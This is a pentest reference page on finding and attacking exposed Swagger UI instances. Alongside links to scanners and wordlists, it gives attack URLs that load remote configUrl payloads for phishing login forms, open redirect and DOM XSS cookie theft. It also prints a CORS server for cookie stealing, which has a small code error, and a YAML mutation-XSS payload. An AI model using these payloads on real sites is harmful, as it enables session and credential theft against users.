# Swagger UI

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Nuclei template

{% embed url="<https://github.com/coffinxp/nuclei-templates/blob/main/Swagger.yaml>" %}

{% embed url="<https://github.com/coffinxp/swagger/blob/main/Swagger.yaml>" %}

## Find Exposed Swagger

{% embed url="<https://github.com/brinhosa/apidetector/tree/main>" %}

### Wordlist

```
https://example.com/swagger.yaml
https://example.com/swagger.json
https://example.com/api-docs
https://example.com/v2/api-docs (Swagger 2.0)
https://example.com/v3/api-docs (OpenAPI 3)
```

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/swagger.txt>" %}

{% embed url="<https://github.com/coffinxp/swagger/blob/main/swagger-wordlist.txt>" %}

## OSINT

{% embed url="<https://github.com/UndeadSec/SwaggerSpy>" %}

## Audit endpoints

{% embed url="<https://github.com/BishopFox/sj>" %}

{% content-ref url="rest-api" %}
[rest-api](https://0xss0rz.gitbook.io/0xss0rz/pentest/api/rest-api)
{% endcontent-ref %}

### Burp Extension

Parse OpenAPI documentation using the OpenAPI Parser BApp

{% embed url="<https://portswigger.net/bappstore/6bf7574b632847faaaa4eb5e42f1757c>" %}

## Get versions and their vulnerabilities.

{% embed url="<https://github.com/ArcHound/swagger-ui-detector>" %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FUMey7SBIooUZki0dPI3B%2Fimage.png?alt=media&#x26;token=cc0cab1c-d9e1-442a-84b5-04cebc886ab7" alt=""><figcaption></figcaption></figure>

## Find old versions of Swagger-ui vulnerable to various XSS attacks - XSSwagger

{% embed url="<https://github.com/vavkamil/XSSwagger>" %}

## CVE-2018-25031

Swagger UI 4.1.2 and earlier could allow a remote attacker to conduct spoofing attacks.

{% embed url="<https://www.exploit-db.com/exploits/51379>" %}

{% embed url="<https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/>" %}

{% embed url="<https://medium.com/@AlQa3Qa3_M0X0101/how-i-was-able-to-steal-users-credentials-via-swagger-ui-dom-xss-e84255eb8c96>" %}

Test: `/api/docs/?configUrl=https://jumpy-floor.surge.sh/test.json`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fh8GPLan4nAKFSQL0yITD%2Fimage.png?alt=media&#x26;token=870661b8-c74c-4b0a-aedd-886ea03c860d" alt=""><figcaption></figcaption></figure>

### Repo

{% embed url="<https://github.com/coffinxp/swagger>" %}

Found Swagger try each of the file of the repo

```
# HTML Injection - Display a login form
http://target.com/api/swagger/ui/index?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/login.json
# Phishing method - Open Redirect - If the victim click on evil.com
http://target.com/api/swagger/ui/index?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/rlogin.json
# DOM XSS
http://target.com/api/swagger/ui/index?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsscookie.json
http://target.com/api/swagger/ui/index?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsstest.json
```

### Cookie Stealing

Server with CORS Header

```python
from http.server import SimpleHTTPRequestHandler
import socketserver
class CORSRequestHandler(SimpleHTTPRequestHandler):
 def end_headers(self): 
 self.send_header('Access-Control-Allow-Origin', '*') 
 self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS') 
 super().end_headers()
if name == "__main__":
 PORT = 80 
 with socketserver.TCPServer(("", PORT), CORSRequestHandler) as httpd: 
 print("Serving at port", PORT) 
 httpd.serve_forever()
```

POC: `test.json`

```json
{ 
    "url": "http://IP/test.yaml", 
    "urls": [ 
    { 
    "url": "http://IP/test.yaml", 
    "name": "Foo" 
    } 
    ]
}
```

POC: `test.yaml`

```yaml
swagger: '2.0'
info:
 title: XSS Attack BY 0xss0rz
 description: | 
    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form> 
 version: production
basePath: /JSSResource/
produces:
 - application/xml
 - application/json
consumes:
 - application/xml
 - application/json
security: - basicAuth: []
paths:
 /M0X0101:
  get:
   responses:
    '200':
     description: No response was specified
   tags: - XSS_D 
   operationId: findAccounts
   summary: Finds all accounts 
 '/hack/hachid/{id}':
  delete:
   parameters:
    - description: |
       <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
      format: int64 
      in: path 
      name: id 
      required: true 
      type: integer 
   responses:
    '200':
      description: No response was specified
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F8sCkLTNiE7dpSN12kztL%2Fimage.png?alt=media&#x26;token=d99a2af3-cd1a-4e95-8c5d-22ab6cbd54de" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F1WP06vbOYwIUTnPKzeXR%2Fimage.png?alt=media&#x26;token=03eab639-1f9a-44b8-a3cc-5e82be1ddf00" alt=""><figcaption></figcaption></figure>

Could lead to CSS exfiltration

{% embed url="<https://github.com/tarantula-team/CSS-injection-in-Swagger-UI?tab=readme-ov-file>" %}

## Postman / Scanner

{% embed url="<https://stackoverflow.com/questions/48525546/how-to-export-swagger-json-or-yaml>" %}

```
http://url/swagger/docs/v1
http://url/<contextPath>/v3/api-docs # JSON file
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FWOVekyEt955COf5KWSFb%2F0rOuY.png?alt=media&#x26;token=2d03b77d-79d1-42f7-a810-fdb857d2402c" alt=""><figcaption></figcaption></figure>

or check source code:

```
const ui = SwaggerUIBundle({
  url: "https://petstore.swagger.io/v2/swagger.json",     // <-------
  dom_id: '#swagger-ui',
```

or dev tool

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F0A7EI4gpLVtBTa2OTovy%2FfqMcV.png?alt=media&#x26;token=e3c732a2-5d71-49e3-ba88-07057d2f169b" alt=""><figcaption></figcaption></figure>

```
curl -o swagger.yaml https://example.com/swagger.yaml
```

If the swagger is a json file use yq to convert it: `pip install yq` or `apt install yq`

```
curl -s https://example.com/swagger.json | yq -P > swagger.yaml
```

You can now import the yaml file inside Postman or use it in scanner like Zap

{% content-ref url="postman-usage" %}
[postman-usage](https://0xss0rz.gitbook.io/0xss0rz/pentest/api/postman-usage)
{% endcontent-ref %}

{% content-ref url="zap-scanner-and-other-scanning-methods" %}
[zap-scanner-and-other-scanning-methods](https://0xss0rz.gitbook.io/0xss0rz/pentest/api/zap-scanner-and-other-scanning-methods)
{% endcontent-ref %}

### SOAPi

{% embed url="<https://github.com/andrei8055/SOAPI>" %}

### Other Scanners

{% content-ref url="tools-and-scanners" %}
[tools-and-scanners](https://0xss0rz.gitbook.io/0xss0rz/pentest/api/tools-and-scanners)
{% endcontent-ref %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&#x26;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**Hacking APIs: Breaking Web Application Programming Interfaces**](https://www.amazon.fr/dp/1718502443?tag=0xss0rz-21)\
  A crash course in web API security testing that will prepare you to penetration-test APIs, reap high rewards on bug bounty programs, and make your own APIs more secure.
* [**Black Hat GraphQL: Attacking Next Generation APIs**](https://www.amazon.fr/dp/B0B7Q8BYG1?tag=0xss0rz-21)\
  This hands-on book teaches penetration testers how to identify vulnerabilities in apps that use GraphQL, a data query and manipulation language for APIs adopted by major companies like Facebook and GitHub.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)